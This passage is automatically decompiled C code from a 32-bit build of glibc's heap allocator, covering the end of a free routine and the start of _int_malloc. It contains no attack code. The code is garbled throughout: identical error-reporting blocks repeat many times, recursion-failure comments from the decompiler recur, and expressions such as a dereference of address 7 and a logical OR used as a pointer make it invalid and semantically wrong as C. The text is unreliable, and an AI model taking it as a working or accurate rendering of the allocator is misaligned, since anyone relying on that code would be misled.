4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = (int32_t *)v87; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v129 = *(int32_t *)(v87 + 4); v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); if (v88 + v69 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3ec9 g101 = 0x810934c; // branch -> 0x80b3acf } // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; __libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // branch -> 0x80b3856 } else { // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; __libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b3856 // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; __libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // branch -> 0x80b3856 } else { // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; __libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b3856 // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b3836 g73--; int32_t v130 = *(int32_t *)7; // 0x80b383f int32_t v131 = v130 + v5; // 0x80b3842 g77 -= v131; munmap((int32_t *)(7 - v130), v131); // branch -> 0x80b3856 } // Detected a possible infinite recursion (goto support failed); quitting... } else { uint32_t v132 = *(int32_t *)(v5 + 11); // 0x80b3a60 if (v132 >= 9) { // 0x80b3a6d if ((v132 & -8) < *(int32_t *)(v14 + 1100)) { int32_t v133 = v17 & -2; // 0x80b3a7f g97 = v133; *v16 = v133; uint32_t v134 = g102; // 0x80b3a85 int32_t v135 = 4 * v134 / 8; // 0x80b3a8a v18 = v14 + 8 + v135; int32_t v136 = *(int32_t *)(v135 + v14); // 0x80b3a8e int32_t v137 = g101; // 0x80b3a91 if (v137 != v136) { // 0x80b3a99 int32_t result; int32_t v138; // 0x80b3aa7 if (g69 != 0) { // 0x80b3efb memset(a2, g69 % 256, v134 - 4); v138 = g101; result = *(int32_t *)(v18 - 8); // branch -> 0x80b3aa7 } else { v138 = v137; result = v136; } // 0x80b3aa7 *(int32_t *)(v138 + 8) = result; *(int32_t *)(v18 - 8) = g101; return result; } // 0x80b3ef1 g101 = 0x8109370; // branch -> 0x80b3acf // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; __libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // branch -> 0x80b3856 } else { // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; __libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b3856 // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3ebf g101 = 0x8109328; // branch -> 0x80b3acf } // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; __libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // branch -> 0x80b3856 } else { // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; __libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b3856 // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3df6 g101 = 0x81091b6; // branch -> 0x80b3acf // 0x80b3acf v11 = g21; g98 = v11; g95 = v11; if ((v11 & 5) == 5) { // 0x80b3e1f v13 = v11 & 2; g98 = v13; __libc_message((int32_t *)v13, (struct struct_59 *)"%s\n"); // branch -> 0x80b3856 } else { // 0x80b3ae3 if (v11 == 1) { // 0x80b3ae8 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3b56 v7 = (int32_t)g2; v8 = _itoa_word(v2, v7, 16, v7, v1); g97 = v8; if (g95 < v8) { // 0x80b3b78 v9 = -v8; v10 = -1 - g96; g97 = -1 - (v10 < v9 ? v9 : v10); // branch -> 0x80b3b83 } // 0x80b3b83 if (*(int32_t *)g93 == 0) { // 0x80b3ea1 // branch -> 0x80b3b92 } // 0x80b3b92 v12 = g98 & 2; g98 = v12; __libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b3856 // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Address range: 0x80b41f4 - 0x80b4fa6 int32_t _int_malloc(char * a1, int32_t * a2, int32_t a3) { int32_t v1 = g100; // 0x80b41f4 int32_t v2 = g98; // 0x80b41f9 int32_t * v3 = (int32_t *)v2; // 0x80b41f9_0 int32_t v4 = (int32_t)a2; // 0x80b41fd if (a2 > (int32_t *)-33) { // 0x80b4749 g95 = -24; g98 = v2; return 0; } uint32_t v5 = v4 + 11; // 0x80b420a int32_t v6; // 0x80b4296 int32_t v7; // 0x80b4319 uint32_t v8; // 0x80b458d int32_t v9; // 0x80b476c int32_t v10; // 0x80b4822 struct struct_18 * v11; // 0x80b4822_5 int32_t v12; // 0x80b4f42 int32_t * v13; // 0x80b4233_0 int32_t * v14; // 0x80b4299_0 int32_t * v15; // 0x80b42b9_0 int32_t * v16; // 0x80b42cd_0 char * v17; // 0x80b4326_0 int32_t * v18; // 0x80b4343_0 int32_t * v19; // 0x80b4369_0 int32_t * v20; // 0x80b457f_0 int32_t * v21; // 0x80b45f7_0 int32_t * v22; // bp+045 int32_t * v23; // bp+046 int32_t * v24; // bp+047 int32_t v25; int32_t v26; int32_t v27; int32_t v28; // 0x80b4f42 int32_t * v29; int32_t * v30; int32_t * v31; int32_t * v32; uint32_t v33; uint32_t v34; int32_t v35; // 0x80b42e8 int32_t v36; // 0x80b46d3 int32_t v37; // 0x80b4236 int32_t v38; // 0x80b425d int32_t v39; // 0x80b42d4 int32_t v40; // 0x80b4329 int32_t v41; // 0x80b4e60 int32_t v42; // 0x80b43db uint32_t v43; // 0x80b42e0 uint32_t v44; // 0x80b430d int32_t v45; // 0x80b4323208 int32_t v46; // 0x80b4331 int32_t v47; // 0x80b422c int32_t v48; // 0x80b4250 int32_t v49; // 0x80b42d1 int32_t v50; // 0x80b430d int32_t v51; // 0x80b4e68 int32_t v52; // 0x80b4f7a int32_t v53; // 0x80b4f95 int32_t v54; // 0x80b4293 int32_t v55; // 0x80b42a0 int32_t v56; // 0x80b4323 int32_t v57; // 0x80b43fd int32_t v58; int32_t v59; // 0x80b4761 int32_t * v60; char * v61; // bp+032 char * v62; // bp+033 int32_t * v63; // bp+020 int32_t * v64; // bp+021 uint32_t v65; // 0x80b4281 int32_t v66; // 0x80b428d int32_t v67; // 0x80b429c int32_t v68; int32_t v69; // 0x80b4a7238 int32_t v70; // 0x80b4400 int32_t v71; // 0x80b440c if (v5 > 15) { uint32_t v72 = v5 & -8; // 0x80b4270 int32_t * v73 = (int32_t *)v72; // 0x80b4273_0 int32_t v74 = (int32_t)a1; // 0x80b4276 int32_t v75 = *(int32_t *)(v74 + 4); // 0x80b4279 g101 = v75; if (v72 <= v75) { v63 = v73; // 0x80b4224 v47 = (int32_t)v63 / 8 - 2; g97 = v47; v13 = (int32_t *)(v74 + 8 + 4 * v47); v37 = *v13; g98 = v37; int32_t * v76; // 0x80b42e8_0 int32_t * v77; // bp+050 int32_t v78; // 0x80b42e2 if (v37 != 0) { // 0x80b423c v48 = v37 + 8; g102 = v48; if (*(int32_t *)(v37 + 4) / 8 - 2 == v47) { // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v3; } // 0x80b4266 g98 = (int32_t)v77; return g102; } // 0x80b4e5d v41 = g21; g101 = v41; v51 = v41 & 5; g95 = v51; if (v51 == 5) { // 0x80b4f8b v53 = v41 & 2; g101 = v53; int32_t * v79 = (int32_t *)v53; // 0x80b4f98_0 __libc_message(v79, (struct struct_59 *)"%s\n"); // branch -> 0x80b4253 // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v79; } // 0x80b4266 g98 = (int32_t)v77; return g102; } // 0x80b4e74 if (v41 == 1) { // 0x80b4e80 // branch -> 0x80b47cf // 0x80b47cf abort(); // UNREACHABLE } // 0x80b4f35 v12 = (int32_t)g2; v28 = _itoa_word(v48, v12, 16, v12, v1); g97 = v28; if (g95 < v28) { // 0x80b4f53 v33 = -v28; v34 = -1 - g96; g97 = -1 - (v34 < v33 ? v33 : v34); // branch -> 0x80b4f5e } int32_t v80 = *(int32_t *)g93; // 0x80b4f63 int32_t v81 = v80; // 0x80b4f74 if (v80 == 0) { // 0x80b4f69 v81 = 0x810918f; // branch -> 0x80b4f6e } // 0x80b4f6e v52 = g101 & 2; g101 = v52; __libc_message((int32_t *)v52, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b4253 // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = (int32_t *)v81; } // 0x80b4266 g98 = (int32_t)v77; return g102; } v44 = v75; v64 = v63; // 0x80b4281 v65 = (int32_t)v64; if (v64 > (int32_t *)511) { // 0x80b42f8 if (v64 > (int32_t *)2111) { // 0x80b44a0 if (v64 > (int32_t *)0x29ff) { // 0x80b477b if (v64 < (int32_t *)0xb000) { // 0x80b480a // branch -> 0x80b430d } else { // 0x80b478a if (v64 > (int32_t *)0x27fff) { // 0x80b4a4b if (v64 < (int32_t *)0xc0000) { // 0x80b4a72 v69 = v65 / 0x40000 + 124; // branch -> 0x80b430d } else { v69 = 126; } } else { // 0x80b4799 v69 = v65 / 0x8000 + 119; // branch -> 0x80b430d } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v69; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; int32_t result; // 0x80b46a4 int32_t result2; int32_t v82; // 0x80b46a7 if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; // 0x80b43cf if (v64 >= (int32_t *)512) { lab_0x253371b0:; int32_t v83 = 8 * v36; // 0x80b43db int32_t v84 = v83 - 8 + v42; // 0x80b43db int32_t v85 = *(int32_t *)(v84 + 12); // 0x80b43df g98 = v85; if (v84 != v85) { int32_t v86 = *(int32_t *)(v42 + v83); // 0x80b43ea if (v65 <= *(int32_t *)(v86 + 4)) { int32_t v87 = *(int32_t *)(v85 + 4) & -8; // 0x80b44c0326 g102 = v87; int32_t * v88; // 0x80b4512_0 int32_t * v89; // 0x80b4524_0 int32_t * v90; // 0x80b4c8e_0 int32_t * v91; // 0x80b4eb7_0 int32_t v92; // 0x80b4c46 uint32_t v93; // 0x80b44ca uint32_t v94; uint32_t v95; int32_t v96; // 0x80b4c77 int32_t v97; // 0x80b44df int32_t v98; // 0x80b4c67 int32_t v99; // 0x80b4bf7 int32_t v100; // 0x80b44e7 int32_t v101; // 0x80b4bf7 int32_t v102; // 0x80b4c7d int32_t v103; // 0x80b4eb4 int32_t v104; // 0x80b44d0 int32_t v105; // 0x80b4bfa if (v87 >= v65) { // 0x80b44c8 v93 = v87 - v65; v104 = *(int32_t *)(v85 + 8); g97 = v104; if (v85 == *(int32_t *)(v104 + 12)) { // 0x80b4c8e v90 = (int32_t *)(*(int32_t *)(v85 + 12) + 8); if (v85 == *v90) { // 0x80b4c97 *v90 = v104; // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v23; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } } // 0x80b44df v97 = g21; g101 = v97; v100 = v97 & 5; g95 = v100; if (v100 == 5) { // 0x80b4eaa v103 = v97 & 2; g101 = v103; v91 = (int32_t *)v103; __libc_message(v91, (struct struct_59 *)"%s\n"); // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v91; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } // 0x80b44f3 if (v97 == 1) { // 0x80b44ff // branch -> 0x80b47cf // 0x80b47cf abort(); // UNREACHABLE } // 0x80b4c39 v92 = _itoa_word(v85, v10, 16, v10, v1); g97 = v92; if (g96 < v92) { // 0x80b4c57 v94 = -v92; v95 = -1 - g95; g97 = -1 - (v95 < v94 ? v94 : v95); // branch -> 0x80b4c62 } // 0x80b4c62 v98 = *(int32_t *)g93; v96 = v98; if (v98 == 0) { // 0x80b4ee8 v96 = 0x810918f; // branch -> 0x80b4c71 } // 0x80b4c71 v102 = g101 & 2; g101 = v102; __libc_message((int32_t *)v102, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)(int32_t *)v96; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } int32_t v106 = *(int32_t *)(v85 + 12); // 0x80b44ba g98 = v106; int32_t v107 = *(int32_t *)(v106 + 4) & -8; // 0x80b44c0 g102 = v107; v85 = v106; while (v107 < v65) { // 0x80b44ba v106 += 12; g98 = v106; v107 = *(int32_t *)(v106 + 4) & -8; g102 = v107; v85 = v106; // continue -> 0x80b44ba } // 0x80b44c8 v93 = v107 - v65; v104 = *(int32_t *)(v85 + 8); g97 = v104; if (v85 == *(int32_t *)(v104 + 12)) { // 0x80b4c8e v90 = (int32_t *)(*(int32_t *)(v85 + 12) + 8); if (v85 == *v90) { // 0x80b4c97 *v90 = v104; // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v23; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } } // 0x80b44df v97 = g21; g101 = v97; v100 = v97 & 5; g95 = v100; if (v100 == 5) { // 0x80b4eaa v103 = v97 & 2; g101 = v103; v91 = (int32_t *)v103; __libc_message(v91, (struct struct_59 *)"%s\n"); // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v91; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } // 0x80b44f3 if (v97 == 1) { // 0x80b44ff // branch -> 0x80b47cf // 0x80b47cf abort(); // UNREACHABLE } // 0x80b4c39 v92 = _itoa_word(v85, v10, 16, v10, v1); g97 = v92; if (g96 < v92) { // 0x80b4c57 v94 = -v92; v95 = -1 - g95; g97 = -1 - (v95 < v94 ? v94 : v95); // branch -> 0x80b4c62 } // 0x80b4c62 v98 = *(int32_t *)g93; v96 = v98; if (v98 == 0) { // 0x80b4ee8 v96 = 0x810918f; // branch -> 0x80b4c71 } // 0x80b4c71 v102 = g101 & 2; g101 = v102; __libc_message((int32_t *)v102, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b4508 // 0x80b4508 v99 = g98; if (v93 > 15) { // 0x80b4bf4 v101 = v99 + v65; v25 = v101; v105 = (int32_t)v61; v26 = v105; *(int32_t *)(v105 + 8) = v101; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; *(int32_t *)(v25 + 12) = v26; *(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v25 + 4) = v93 | 1; *(int32_t *)(v25 + v93) = v93; // branch -> 0x80b46a4 } else { // 0x80b4512 v88 = (int32_t *)(v99 + 4 + g102); *v88 = *v88 | 1; if (a1 != (char *)0x8139c40) { // 0x80b4524 v89 = (int32_t *)(g98 + 4); *v89 = *v89 | 4; // branch -> 0x80b46a4 } } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)(int32_t *)v96; return result; } // 0x80b42dd v78 = v82 % 256 ^ 255; g95 = v78; v76 = (int32_t *)result; memset(v76, v78, v4); // branch -> 0x80b4266 // 0x80b4266 g98 = (int32_t)v76; return result; } } } lab_0xd3d34d0:; uint32_t v108 = v36 + 1; // 0x80b43fc int32_t v109 = 8 * v108 + v70; // 0x80b4400 g101 = v109; int32_t v110 = v108 / 32; // 0x80b4406 result2 = v110; int32_t v111 = 4 * v110; // 0x80b440c uint32_t v112 = *(int32_t *)(v111 + v71); // 0x80b440c uint32_t v113 = v108 % 32; // 0x80b4413 g102 = 1; int32_t v114 = 1; // 0x80b4432 if (v113 != 0) { int32_t v115 = 1 << v113; // 0x80b441b g102 = v115; v114 = v115; // branch -> after_if_80b441b_0 } char * v116 = (char *)(256 * v110 + v57); // 0x80b4425_0 int32_t v117 = v58 + 1072 + v111; // 0x80b442b v26 = v117; int32_t v118; int32_t v119; char * v120; char * v121; // bp+012 int32_t v122; // 0x80b445d if (v112 < v114) { v121 = v116; lab_0xb24de10:; int32_t v123 = v117 + 8; // 0x80b4450 int32_t v124 = v117; // 0x80b443d int32_t v125 = v110; // 0x80b443c char * v126 = v121; // bp+013 // branch -> 0x80b443c char * v127; // 0x80b4440_4 int32_t v128; // 0x80b4450 int32_t v129; // 0x80b4440 while (true) { int32_t v130 = v125 + 1; // 0x80b443c result2 = v130; int32_t v131 = v124 + 4; // 0x80b443d v26 = v131; v129 = (int32_t)v126; v127 = (char *)(v129 + 256); if (v130 > 3) { int32_t v132 = *v20; // 0x80b457f g98 = v132; uint32_t v133 = *(int32_t *)(v132 + 4) & -8; // 0x80b4587 if (v8 > v133) { // 0x80b459b if (*(char *)(v58 + 4) == 1) { // 0x80b45a8 g95 = v58; malloc_consolidate(v1, v32); // branch -> 0x80b4323 break; } else { int32_t v134 = g76; // 0x80b48c4 int32_t v135 = -v134; int32_t v136 = v134 - 1; // 0x80b48c9 int32_t v137 = v132; // 0x80b4918 int32_t v138; // 0x80b4aa7 int32_t v139; // 0x80b4906 int32_t v140; // 0x80b49a5 int32_t v141; // 0x80b4b04 int32_t v142; // 0x80b4b59 int32_t v143; // 0x80b4b5e int32_t v144; // 0x80b4b69 int32_t v145; // 0x80b4ac0 int32_t v146; // 0x80b4b53 int32_t * v147; // 0x80b48fd_0 int32_t * v148; // 0x80b4908_0 int32_t * v149; // 0x80b4923_0 struct struct_135 * v150; // 0x80b4965_4 int32_t * v151; // 0x80b497e_0 int32_t * v152; // 0x80b49d4_0 int32_t * v153; // 0x80b4b69_3 int32_t v154; // 0x80b4b99_0 int32_t * v155; // 0x80b4d17_0 uint32_t v156; // 0x80b4f0a_0 int32_t * v157; // bp+027 int32_t * v158; // bp+028 int32_t v159; // 0x80b4932 int32_t v160; // 0x80b4965 int32_t * v161; // 0x80b4ace int32_t * v162; // 0x80b4b6c int32_t * v163; // 0x80b4d01 int32_t * v164; // 0x80b4dfa int32_t * v165; // 0x80b4f1739 int32_t * v166; // 0x80b4f1740 int32_t v167; // 0x80b4f28 int32_t v168; // 0x80b4b63 int32_t v169; // 0x80b4938 int32_t v170; // 0x80b4cfe int32_t v171; // 0x80b4a26 int32_t v172; // 0x80b4aaa int32_t v173; // 0x80b4adf int32_t v174; // 0x80b4b7e int32_t v175; // 0x80b4cc9 int32_t v176; // 0x80b4e2b int32_t v177; // 0x80b4b56 int32_t v178; // 0x80b491a int32_t v179; // 0x80b4945 int32_t v180; // 0x80b4ac5 int32_t v181; // 0x80b4e1b int32_t v182; // 0x80b4900 int32_t v183; // 0x80b4937 int32_t v184; // 0x80b494a int32_t v185; // 0x80b498d uint32_t v186; // 0x80b49ce uint32_t v187; // 